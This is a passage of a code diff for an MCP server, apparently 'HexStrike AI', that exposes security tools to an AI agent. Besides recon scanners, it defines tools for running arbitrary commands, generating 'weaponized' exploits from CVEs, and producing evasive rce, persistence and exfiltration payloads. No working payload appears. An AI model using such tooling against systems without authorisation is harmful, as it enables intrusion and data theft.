Any]: """ Execute HashPump for hash length extension attacks with enhanced logging. - + Args: signature: Original hash signature data: Original data key_length: Length of secret key append_data: Data to append additional_args: Additional HashPump arguments - + Returns: Hash length extension attack results """ @@ -3351,16 +3351,23 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def hakrawler_crawl(url: str, depth: int = 2, forms: bool = True, robots: bool = True, sitemap: bool = True, wayback: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Hakrawler for web endpoint discovery with enhanced logging. - + + Note: Uses standard Kali Linux hakrawler (hakluke/hakrawler) with parameter mapping: + - url: Piped via echo to stdin (not -url flag) + - depth: Mapped to -d flag (not -depth) + - forms: Mapped to -s flag for showing sources + - robots/sitemap/wayback: Mapped to -subs for subdomain inclusion + - Always includes -u for unique URLs + Args: url: Target URL to crawl - depth: Crawling depth - forms: Include forms in crawling - robots: Check robots.txt - sitemap: Check sitemap.xml - wayback: Use Wayback Machine + depth: Crawling depth (mapped to -d) + forms: Include forms in crawling (mapped to -s) + robots: Check robots.txt (mapped to -subs) + sitemap: Check sitemap.xml (mapped to -subs) + wayback: Use Wayback Machine (mapped to -subs) additional_args: Additional Hakrawler arguments - + Returns: Web endpoint discovery results """ @@ -3385,7 +3392,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def httpx_probe(targets: str = "", target_file: str = "", ports: str = "", methods: str = "GET", status_code: str = "", content_length: bool = False, output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute HTTPx for HTTP probing with enhanced logging. - + Args: targets: Target URLs or IPs target_file: File containing targets @@ -3395,7 +3402,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: content_length: Show content length output_file: Output file path additional_args: Additional HTTPx arguments - + Returns: HTTP probing results """ @@ -3421,14 +3428,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def paramspider_discovery(domain: str, exclude: str = "", output_file: str = "", level: int = 2, additional_args: str = "") -> Dict[str, Any]: """ Execute ParamSpider for parameter discovery with enhanced logging. - + Args: domain: Target domain exclude: Extensions to exclude output_file: Output file path level: Crawling level additional_args: Additional ParamSpider arguments - + Returns: Parameter discovery results """ @@ -3455,7 +3462,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def burpsuite_scan(project_file: str = "", config_file: str = "", target: str = "", headless: bool = False, scan_type: str = "", scan_config: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Burp Suite with enhanced logging. - + Args: project_file: Burp project file path config_file: Burp configuration file path @@ -3465,7 +3472,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: scan_config: Scan configuration output_file: Output file path additional_args: Additional Burp Suite arguments - + Returns: Burp Suite scan results """ @@ -3491,7 +3498,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def zap_scan(target: str = "", scan_type: str = "baseline", api_key: str = "", daemon: bool = False, port: str = "8090", host: str = "0.0.0.0", format_type: str = "xml", output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute OWASP ZAP with enhanced logging. - + Args: target: Target URL scan_type: Type of scan (baseline, full, api) @@ -3502,7 +3509,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: format_type: Output format (xml, json, html) output_file: Output file path additional_args: Additional ZAP arguments - + Returns: ZAP scan results """ @@ -3529,7 +3536,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def arjun_scan(url: str, method: str = "GET", data: str = "", headers: str = "", timeout: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Arjun for parameter discovery with enhanced logging. - + Args: url: Target URL method: HTTP method (GET, POST, etc.) @@ -3538,7 +3545,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: timeout: Request timeout output_file: Output file path additional_args: Additional Arjun arguments - + Returns: Parameter discovery results """ @@ -3563,11 +3570,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def wafw00f_scan(target: str, additional_args: str = "") -> Dict[str, Any]: """ Execute wafw00f to identify and fingerprint WAF products with enhanced logging. - + Args: target: Target URL or IP additional_args: Additional wafw00f arguments - + Returns: WAF detection results """ @@ -3587,12 +3594,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def fierce_scan(domain: str, dns_server: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute fierce for DNS reconnaissance with enhanced logging. - + Args: domain: Target domain dns_server: DNS server to use additional_args: Additional fierce arguments - + Returns: DNS reconnaissance results """ @@ -3613,13 +3620,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def dnsenum_scan(domain: str, dns_server: str = "", wordlist: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute dnsenum for DNS enumeration with enhanced logging. - + Args: domain: Target domain dns_server: DNS server to use wordlist: Wordlist for brute forcing additional_args: Additional dnsenum arguments - + Returns: DNS enumeration results """ @@ -3681,7 +3688,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: ) -> Dict[str, Any]: """ Execute AutoRecon for comprehensive target enumeration with full parameter support. - + Args: target: Single target to scan target_file: File containing multiple targets @@ -3722,7 +3729,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: global_password_wordlist: Global password wordlist global_domain: Global domain additional_args: Additional AutoRecon arguments - + Returns: Comprehensive enumeration results with full configurability """ @@ -3778,12 +3785,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ # SYSTEM MONITORING & TELEMETRY # ============================================================================ - + @mcp.tool() def server_health() -> Dict[str, Any]: """ Check the health status of the HexStrike AI server. - + Returns: Server health information with tool availability and telemetry """ @@ -3799,7 +3806,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def get_cache_stats() -> Dict[str, Any]: """ Get cache statistics from the HexStrike AI server. - + Returns: Cache performance statistics """ @@ -3813,7 +3820,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def clear_cache() -> Dict[str, Any]: """ Clear the cache on the HexStrike AI server. - + Returns: Cache clear operation results """ @@ -3829,7 +3836,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def get_telemetry() -> Dict[str, Any]: """ Get system telemetry from the HexStrike AI server. - + Returns: System performance and usage telemetry """ @@ -3838,7 +3845,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: if "commands_executed" in result: logger.info(f"๐Ÿ“Š Commands executed: {result.get('commands_executed', 0)}") return result - + # ============================================================================ # PROCESS MANAGEMENT TOOLS (v5.0 ENHANCEMENT) # ============================================================================ @@ -3847,7 +3854,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def list_active_processes() -> Dict[str, Any]: """ List all active processes on the HexStrike AI server. - + Returns: List of active processes with their status and progress """ @@ -3863,10 +3870,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def get_process_status(pid: int) -> Dict[str, Any]: """ Get the status of a specific process. - + Args: pid: Process ID to check - + Returns: Process status information including progress and runtime """ @@ -3882,10 +3889,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def terminate_process(pid: int) -> Dict[str, Any]: """ Terminate a specific running process. - + Args: pid: Process ID to terminate - + Returns: Success status of the termination operation """ @@ -3901,10 +3908,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def pause_process(pid: int) -> Dict[str, Any]: """ Pause a specific running process. - + Args: pid: Process ID to pause - + Returns: Success status of the pause operation """ @@ -3920,10 +3927,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def resume_process(pid: int) -> Dict[str, Any]: """ Resume a paused process. - + Args: pid: Process ID to resume - + Returns: Success status of the resume operation """ @@ -3939,7 +3946,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def get_process_dashboard() -> Dict[str, Any]: """ Get enhanced process dashboard with visual status indicators. - + Returns: Real-time dashboard with progress bars, system metrics, and process status """ @@ -3948,7 +3955,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: if result.get("success", True) and "total_processes" in result: total = result.get("total_processes", 0) logger.info(f"โœ… Dashboard retrieved: {total} active processes") - + # Log visual summary for better UX if total > 0: logger.info("๐Ÿ“ˆ Active Processes Summary:") @@ -3957,16 +3964,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: else: logger.error("โŒ Failed to get process dashboard") return result - + @mcp.tool() def execute_command(command: str, use_cache: bool = True) -> Dict[str, Any]: """ Execute an arbitrary command on the HexStrike AI server with enhanced logging. - + Args: command: The command to execute use_cache: Whether to use caching for this command - + Returns: Command execution results with enhanced telemetry """ @@ -3981,13 +3988,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "stdout": "", "stderr": f"Error executing command: {result['error']}" } - + if result.get("success"): execution_time = result.get("execution_time", 0) logger.info(f"โœ… Command completed successfully in {execution_time:.2f}s") else: logger.warning(f"โš ๏ธ Command completed with errors") - + return result except Exception as e: logger.error(f"๐Ÿ’ฅ Error executing command '{command}': {str(e)}") @@ -4006,15 +4013,15 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def monitor_cve_feeds(hours: int = 24, severity_filter: str = "HIGH,CRITICAL", keywords: str = "") -> Dict[str, Any]: """ Monitor CVE databases for new vulnerabilities with AI analysis. - + Args: hours: Hours to look back for new CVEs (default: 24) severity_filter: Filter by CVSS severity - comma-separated values (LOW,MEDIUM,HIGH,CRITICAL,ALL) keywords: Filter CVEs by keywords in description (comma-separated) - + Returns: Latest CVEs with exploitability analysis and threat intelligence - + Example: monitor_cve_feeds(48, "CRITICAL", "remote code execution") """ @@ -4025,29 +4032,29 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿ” Monitoring CVE feeds for last {hours} hours | Severity: {severity_filter}") result = hexstrike_client.safe_post("api/vuln-intel/cve-monitor", data) - + if result.get("success"): cve_count = len(result.get("cve_monitoring", {}).get("cves", [])) exploit_analysis_count = len(result.get("exploitability_analysis", [])) logger.info(f"โœ… Found {cve_count} CVEs with {exploit_analysis_count} exploitability analyses") - + return result @mcp.tool() def generate_exploit_from_cve(cve_id: str, target_os: str = "", target_arch: str = "x64", exploit_type: str = "poc", evasion_level: str = "none") -> Dict[str, Any]: """ Generate working exploits from CVE information using AI-powered analysis. - + Args: cve_id: CVE identifier (e.g., CVE-2024-1234) target_os: Target operating system (windows, linux, macos, any) target_arch: Target architecture (x86, x64, arm, any) exploit_type: Type of exploit to generate (poc, weaponized, stealth) evasion_level: Evasion sophistication (none, basic, advanced) - + Returns: Generated exploit code with testing instructions and evasion techniques - + Example: generate_exploit_from_cve("CVE-2024-1234", "linux", "x64", "weaponized", "advanced") """ @@ -4060,31 +4067,31 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿค– Generating {exploit_type} exploit for {cve_id} | Target: {target_os} {target_arch}") result = hexstrike_client.safe_post("api/vuln-intel/exploit-generate", data) - + if result.get("success"): cve_analysis = result.get("cve_analysis", {}) exploit_gen = result.get("exploit_generation", {}) exploitability = cve_analysis.get("exploitability_level", "UNKNOWN") exploit_success = exploit_gen.get("success", False) - + logger.info(f"๐Ÿ“Š CVE Analysis: {exploitability} exploitability") logger.info(f"๐ŸŽฏ Exploit Generation: {'SUCCESS' if exploit_success else 'FAILED'}") - + return result @mcp.tool() def discover_attack_chains(target_software: str, attack_depth: int = 3, include_zero_days: bool = False) -> Dict[str, Any]: """ Discover multi-stage attack chains for target software with vulnerability correlation. - + Args: target_software: Target software/system (e.g., "Apache HTTP Server", "Windows Server 2019") attack_depth: Maximum number of stages in attack chain (1-5) include_zero_days: Include potential zero-day vulnerabilities in analysis - + Returns: Attack chains with vulnerability combinations, success probabilities, and exploit availability - + Example: discover_attack_chains("Apache HTTP Server 2.4", 4, True) """ @@ -4095,36 +4102,36 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿ”— Discovering attack chains for {target_software} | Depth: {attack_depth} | Zero-days: {include_zero_days}") result = hexstrike_client.safe_post("api/vuln-intel/attack-chains", data) - + if result.get("success"): chains = result.get("attack_chain_discovery", {}).get("attack_chains", []) enhanced_chains = result.get("attack_chain_discovery", {}).get("enhanced_chains", []) - + logger.info(f"๐Ÿ“Š Found {len(chains)} attack chains") if enhanced_chains: logger.info(f"๐ŸŽฏ Enhanced {len(enhanced_chains)} chains with exploit analysis") - + return result @mcp.tool() def research_zero_day_opportunities(target_software: str, analysis_depth: str = "standard", source_code_url: str = "") -> Dict[str, Any]: """ Automated zero-day vulnerability research using AI analysis and pattern recognition. - + Args: target_software: Software to research for vulnerabilities (e.g., "nginx", "OpenSSL") analysis_depth: Depth of analysis (quick, standard, comprehensive) source_code_url: URL to source code repository for enhanced analysis - + Returns: Potential vulnerability areas with exploitation feasibility and research recommendations - + Example: research_zero_day_opportunities("nginx 1.20", "comprehensive", "https://github.com/nginx/nginx") """ if analysis_depth not in ["quick", "standard", "comprehensive"]: analysis_depth = "standard" - + data = { "target_software": target_software, "analysis_depth": analysis_depth, @@ -4132,30 +4139,30 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿ”ฌ Researching zero-day opportunities in {target_software} | Depth: {analysis_depth}") result = hexstrike_client.safe_post("api/vuln-intel/zero-day-research", data) - + if result.get("success"): research = result.get("zero_day_research", {}) potential_vulns = len(research.get("potential_vulnerabilities", [])) risk_score = research.get("risk_assessment", {}).get("risk_score", 0) - + logger.info(f"๐Ÿ“Š Found {potential_vulns} potential vulnerability areas") logger.info(f"๐ŸŽฏ Risk Score: {risk_score}/100") - + return result @mcp.tool() def correlate_threat_intelligence(indicators: str, timeframe: str = "30d", sources: str = "all") -> Dict[str, Any]: """ Correlate threat intelligence across multiple sources with advanced analysis. - + Args: indicators: Comma-separated IOCs (IPs, domains, hashes, CVEs, etc.) timeframe: Time window for correlation (7d, 30d, 90d, 1y) sources: Intelligence sources to query (cve, exploit-db, github, twitter, all) - + Returns: Correlated threat intelligence with attribution, timeline, and threat scoring - + Example: correlate_threat_intelligence("CVE-2024-1234,192.168.1.100,malware.exe", "90d", "all") """ @@ -4163,14 +4170,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: valid_timeframes = ["7d", "30d", "90d", "1y"] if timeframe not in valid_timeframes: timeframe = "30d" - + # Parse indicators indicator_list = [i.strip() for i in indicators.split(",") if i.strip()] - + if not indicator_list: logger.error("โŒ No valid indicators provided") return {"success": False, "error": "No valid indicators provided"} - + data = { "indicators": indicator_list, "timeframe": timeframe, @@ -4178,43 +4185,43 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿง  Correlating threat intelligence for {len(indicator_list)} indicators | Timeframe: {timeframe}") result = hexstrike_client.safe_post("api/vuln-intel/threat-feeds", data) - + if result.get("success"): threat_intel = result.get("threat_intelligence", {}) correlations = len(threat_intel.get("correlations", [])) threat_score = threat_intel.get("threat_score", 0) - + logger.info(f"๐Ÿ“Š Found {correlations} threat correlations") logger.info(f"๐ŸŽฏ Overall Threat Score: {threat_score:.1f}/100") - + return result @mcp.tool() def advanced_payload_generation(attack_type: str, target_context: str = "", evasion_level: str = "standard", custom_constraints: str = "") -> Dict[str, Any]: """ Generate advanced payloads with AI-powered evasion techniques and contextual adaptation. - + Args: attack_type: Type of attack (rce, privilege_escalation, persistence, exfiltration, xss, sqli) target_context: Target environment details (OS, software versions, security controls) evasion_level: Evasion sophistication (basic, standard, advanced, nation-state) custom_constraints: Custom payload constraints (size limits, character restrictions, etc.) - + Returns: Advanced payloads with multiple evasion techniques and deployment instructions - + Example: advanced_payload_generation("rce", "Windows 11 + Defender + AppLocker", "nation-state", "max_size:256,no_quotes") """ valid_attack_types = ["rce", "privilege_escalation", "persistence", "exfiltration", "xss", "sqli", "lfi", "ssrf"] valid_evasion_levels = ["basic", "standard", "advanced", "nation-state"] - + if attack_type not in valid_attack_types: attack_type = "rce" - + if evasion_level not in valid_evasion_levels: evasion_level = "standard" - + data = { "attack_type": attack_type, "target_context": target_context, @@ -4224,45 +4231,45 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f"๐ŸŽฏ Generating advanced {attack_type} payload | Evasion: {evasion_level}") if target_context: logger.info(f"๐ŸŽฏ Target Context: {target_context}") - + result = hexstrike_client.safe_post("api/ai/advanced-payload-generation", data) - + if result.get("success"): payload_gen = result.get("advanced_payload_generation", {}) payload_count = payload_gen.get("payload_count", 0) evasion_applied = payload_gen.get("evasion_level", "none") - + logger.info(f"๐Ÿ“Š Generated {payload_count} advanced payloads") logger.info(f"๐Ÿ›ก๏ธ Evasion Level Applied: {evasion_applied}") - + return result @mcp.tool() def vulnerability_intelligence_dashboard() -> Dict[str, Any]: """ Get a comprehensive vulnerability intelligence dashboard with latest threats and trends. - + Returns: Dashboard with latest CVEs, trending vulnerabilities, exploit availability, and threat landscape - + Example: vulnerability_intelligence_dashboard() """ logger.info("๐Ÿ“Š Generating vulnerability intelligence dashboard") - + # Get latest critical CVEs latest_cves = hexstrike_client.safe_post("api/vuln-intel/cve-monitor", { "hours": 24, "severity_filter": "CRITICAL", "keywords": "" }) - + # Get trending attack types trending_research = hexstrike_client.safe_post("api/vuln-intel/zero-day-research", { "target_software": "web applications", "analysis_depth": "quick" }) - + # Compile dashboard dashboard = { "timestamp": time.time(), @@ -4284,7 +4291,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "Review security controls against nation-state level attacks" ] } - + logger.info("โœ… Vulnerability intelligence dashboard generated") return { "success": True, @@ -4295,27 +4302,27 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def threat_hunting_assistant(target_environment: str, threat_indicators: str = "", hunt_focus: str = "general") -> Dict[str, Any]: """ AI-powered threat hunting assistant with vulnerability correlation and attack simulation. - + Args: target_environment: Environment to hunt in (e.g., "Windows Domain", "Cloud Infrastructure") threat_indicators: Known IOCs or suspicious indicators to investigate hunt_focus: Focus area (general, apt, ransomware, insider_threat, supply_chain) - + Returns: Threat hunting playbook with detection queries, IOCs, and investigation steps - + Example: threat_hunting_assistant("Windows Domain", "suspicious_process.exe,192.168.1.100", "apt") """ valid_hunt_focus = ["general", "apt", "ransomware", "insider_threat", "supply_chain"] if hunt_focus not in valid_hunt_focus: hunt_focus = "general" - + logger.info(f"๐Ÿ” Generating threat hunting playbook for {target_environment} | Focus: {hunt_focus}") - + # Parse indicators if provided indicators = [i.strip() for i in threat_indicators.split(",") if i.strip()] if threat_indicators else [] - + # Generate hunting playbook hunting_playbook = { "target_environment": target_environment, @@ -4326,7 +4333,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "threat_scenarios": [], "mitigation_strategies": [] } - + # Environment-specific detection queries if "windows" in target_environment.lower(): hunting_playbook["detection_queries"] = [ @@ -4342,7 +4349,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "Privilege escalation events", "Data exfiltration indicators" ] - + # Focus-specific threat scenarios focus_scenarios = { "apt": [ @@ -4364,14 +4371,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "Access to sensitive systems" ] } - + hunting_playbook["threat_scenarios"] = focus_scenarios.get(hunt_focus, [ "Unauthorized access attempts", "Suspicious process execution", "Network anomalies", "Data access violations" ]) - + # Investigation steps hunting_playbook["investigation_steps"] = [ "1. Validate initial indicators and expand IOC list", @@ -4382,15 +4389,15 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "6. Implement containment measures if threat confirmed", "7. Document findings and update detection rules" ] - + # Correlate with vulnerability intelligence if indicators provided if indicators: logger.info(f"๐Ÿง  Correlating {len(indicators)} indicators with threat intelligence") correlation_result = correlate_threat_intelligence(",".join(indicators), "30d", "all") - + if correlation_result.get("success"): hunting_playbook["threat_correlation"] = correlation_result.get("threat_intelligence", {}) - + logger.info("โœ… Threat hunting playbook generated") return { "success": True, @@ -4400,12 +4407,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ # ENHANCED VISUAL OUTPUT TOOLS # ============================================================================ - + @mcp.tool() def get_live_dashboard() -> Dict[str, Any]: """ Get a beautiful live dashboard showing all active processes with enhanced visual formatting. - + Returns: Live dashboard with visual process monitoring and system metrics """ @@ -4421,33 +4428,33 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def create_vulnerability_report(vulnerabilities: str, target: str = "", scan_type: str = "comprehensive") -> Dict[str, Any]: """ Create a beautiful vulnerability report with severity-based styling and visual indicators. - + Args: vulnerabilities: JSON string containing vulnerability data target: Target that was scanned scan_type: Type of scan performed - + Returns: Formatted vulnerability report with visual enhancements """ import json - + try: # Parse vulnerabilities if provided as JSON string if isinstance(vulnerabilities, str): vuln_data = json.loads(vulnerabilities) else: vuln_data = vulnerabilities - + logger.info(f"๐Ÿ“‹ Creating vulnerability report for {len(vuln_data)} findings") - + # Create individual vulnerability cards vulnerability_cards = [] for vuln in vuln_data: card_result = hexstrike_client.safe_post("api/visual/vulnerability-card", vuln) if card_result.get("success"): vulnerability_cards.append(card_result.get("vulnerability_card", "")) - + # Create summary report summary_data = { "target": target, @@ -4455,9 +4462,9 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "tools_used": [scan_type], "execution_time": 0 } - + summary_result = hexstrike_client.safe_post("api/visual/summary-report", summary_data) - + logger.info("โœ… Vulnerability report created successfully") return { "success": True, @@ -4466,7 +4473,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "total_vulnerabilities": len(vuln_data), "timestamp": summary_result.get("timestamp", "") } - + except Exception as e: logger.error(f"โŒ Failed to create vulnerability report: {str(e)}") return {"success": False, "error": str(e)} @@ -4475,51 +4482,51 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def format_tool_output_visual(tool_name: str, output: str, success: bool = True) -> Dict[str, Any]: """ Format tool output with beautiful visual styling, syntax highlighting, and structure. - + Args: tool_name: Name of the security tool output: Raw output from the tool success: Whether the tool execution was successful - + Returns: Beautifully formatted tool output with visual enhancements """ logger.info(f"๐ŸŽจ Formatting output for {tool_name}") - + data = { "tool": tool_name, "output": output, "success": success } - + result = hexstrike_client.safe_post("api/visual/tool-output", data) if result.get("success"): logger.info(f"โœ… Tool output formatted successfully for {tool_name}") else: logger.error(f"โŒ Failed to format tool output for {tool_name}") - + return result @mcp.tool() - def create_scan_summary(target: str, tools_used: str, vulnerabilities_found: int = 0, + def create_scan_summary(target: str, tools_used: str, vulnerabilities_found: int = 0, execution_time: float = 0.0, findings: str = "") -> Dict[str, Any]: """ Create a comprehensive scan summary report with beautiful visual formatting. - + Args: target: Target that was scanned tools_used: Comma-separated list of tools used vulnerabilities_found: Number of vulnerabilities discovered execution_time: Total execution time in seconds findings: Additional findings or notes - + Returns: Beautiful scan summary report with visual enhancements """ logger.info(f"๐Ÿ“Š Creating scan summary for {target}") - + tools_list = [tool.strip() for tool in tools_used.split(",")] - + summary_data = { "target": target, "tools_used": tools_list, @@ -4527,31 +4534,31 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "vulnerabilities": [{"severity": "info"}] * vulnerabilities_found, # Mock data for count "findings": findings } - + result = hexstrike_client.safe_post("api/visual/summary-report", summary_data) if result.get("success"): logger.info("โœ… Scan summary created successfully") else: logger.error("โŒ Failed to create scan summary") - + return result @mcp.tool() def display_system_metrics() -> Dict[str, Any]: """ Display current system metrics and performance indicators with visual formatting. - + Returns: System metrics with beautiful visual presentation """ logger.info("๐Ÿ“ˆ Fetching system metrics") - + # Get telemetry data telemetry_result = hexstrike_client.safe_get("api/telemetry") - + if telemetry_result.get("success", True): logger.info("โœ… System metrics retrieved successfully") - + # Format the metrics for better display metrics = telemetry_result.get("system_metrics", {}) stats = { @@ -4562,7 +4569,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "commands_executed": telemetry_result.get("commands_executed", 0), "success_rate": telemetry_result.get("success_rate", "0%") } - + return { "success": True, "metrics": stats, @@ -4584,155 +4591,155 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ # INTELLIGENT DECISION ENGINE TOOLS # ============================================================================ - + @mcp.tool() def analyze_target_intelligence(target: str) -> Dict[str, Any]: """ Analyze target using AI-powered intelligence to create comprehensive profile. - + Args: target: Target URL, IP address, or domain to analyze - + Returns: Comprehensive target profile with technology detection, risk assessment, and recommendations """ logger.info(f"๐Ÿง  Analyzing target intelligence for: {target}") - + data = {"target": target} result = hexstrike_client.safe_post("api/intelligence/analyze-target", data) - + if result.get("success"): profile = result.get("target_profile", {}) logger.info(f"โœ… Target analysis completed - Type: {profile.get('target_type')}, Risk: {profile.get('risk_level')}") else: logger.error(f"โŒ Target analysis failed for {target}") - + return result @mcp.tool() def select_optimal_tools_ai(target: str, objective: str = "comprehensive") -> Dict[str, Any]: """ Use AI to select optimal security tools based on target analysis and testing objective. - + Args: target: Target to analyze objective: Testing objective - "comprehensive", "quick", or "stealth" - + Returns: AI-selected optimal tools with effectiveness ratings and target profile """ logger.info(f"๐ŸŽฏ Selecting optimal tools for {target} with objective: {objective}") - + data = { "target": target, "objective": objective } result = hexstrike_client.safe_post("api/intelligence/select-tools", data) - + if result.get("success"): tools = result.get("selected_tools", []) logger.info(f"โœ… AI selected {len(tools)} optimal tools: {', '.join(tools[:3])}{'...' if len(tools) > 3 else ''}") else: logger.error(f"โŒ Tool selection failed for {target}") - + return result @mcp.tool() def optimize_tool_parameters_ai(target: str, tool: str, context: str = "{}") -> Dict[str, Any]: """ Use AI to optimize tool parameters based on target profile and context. - + Args: target: Target to test tool: Security tool to optimize context: JSON string with additional context (stealth, aggressive, etc.) - + Returns: AI-optimized parameters for maximum effectiveness """ import json - + logger.info(f"โš™๏ธ Optimizing parameters for {tool} against {target}") - + try: context_dict = json.loads(context) if context != "{}" else {} except: context_dict = {} - + data = { "target": target, "tool": tool, "context": context_dict } result = hexstrike_client.safe_post("api/intelligence/optimize-parameters", data) - + if result.get("success"): params = result.get("optimized_parameters", {}) logger.info(f"โœ… Parameters optimized for {tool} - {len(params)} parameters configured") else: logger.error(f"โŒ Parameter optimization failed for {tool}") - + return result @mcp.tool() def create_attack_chain_ai(target: str, objective: str = "comprehensive") -> Dict[str, Any]: """ Create an intelligent attack chain using AI-driven tool sequencing and optimization. - + Args: target: Target for the attack chain objective: Attack objective - "comprehensive", "quick", or "stealth" - + Returns: AI-generated attack chain with success probability and time estimates """ logger.info(f"โš”๏ธ Creating AI-driven attack chain for {target}") - + data = { "target": target, "objective": objective } result = hexstrike_client.safe_post("api/intelligence/create-attack-chain", data) - + if result.get("success"): chain = result.get("attack_chain", {}) steps = len(chain.get("steps", [])) success_prob = chain.get("success_probability", 0) estimated_time = chain.get("estimated_time", 0) - + logger.info(f"โœ… Attack chain created - {steps} steps, {success_prob:.2f} success probability, ~{estimated_time}s") else: logger.error(f"โŒ Attack chain creation failed for {target}") - + return result @mcp.tool() def intelligent_smart_scan(target: str, objective: str = "comprehensive", max_tools: int = 5) -> Dict[str, Any]: """ Execute an intelligent scan using AI-driven tool selection and parameter optimization. - + Args: target: Target to scan objective: Scanning objective - "comprehensive", "quick", or "stealth" max_tools: Maximum number of tools to use - + Returns: Results from AI-optimized scanning with tool execution summary """ logger.info(f"{HexStrikeColors.FIRE_RED}๐Ÿš€ Starting intelligent smart scan for {target}{HexStrikeColors.RESET}") - + data = { "target": target, "objective": objective, "max_tools": max_tools } result = hexstrike_client.safe_post("api/intelligence/smart-scan", data) - + if result.get("success"): scan_results = result.get("scan_results", {}) tools_executed = scan_results.get("tools_executed", []) execution_summary = scan_results.get("execution_summary", {}) - + # Enhanced logging with detailed results logger.info(f"{HexStrikeColors.SUCCESS}โœ… Intelligent scan completed for {target}{HexStrikeColors.RESET}") logger.info(f"{HexStrikeColors.CYBER_ORANGE}๐Ÿ“Š Execution Summary:{HexStrikeColors.RESET}") @@ -4740,96 +4747,96 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f" โ€ข Success rate: {execution_summary.get('success_rate', 0):.1f}%") logger.info(f" โ€ข Total vulnerabilities: {scan_results.get('total_vulnerabilities', 0)}") logger.info(f" โ€ข Execution time: {execution_summary.get('total_execution_time', 0):.2f}s") - + # Log successful tools successful_tools = [t['tool'] for t in tools_executed if t.get('success')] if successful_tools: logger.info(f"{HexStrikeColors.HIGHLIGHT_GREEN} Successful tools: {', '.join(successful_tools)} {HexStrikeColors.RESET}") - + # Log failed tools failed_tools = [t['tool'] for t in tools_executed if not t.get('success')] if failed_tools: logger.warning(f"{HexStrikeColors.HIGHLIGHT_RED} Failed tools: {', '.join(failed_tools)} {HexStrikeColors.RESET}") - + # Log vulnerabilities found if scan_results.get('total_vulnerabilities', 0) > 0: logger.warning(f"{HexStrikeColors.VULN_HIGH}๐Ÿšจ {scan_results['total_vulnerabilities']} vulnerabilities detected!{HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Intelligent scan failed for {target}: {result.get('error', 'Unknown error')}{HexStrikeColors.RESET}") - + return result @mcp.tool() def 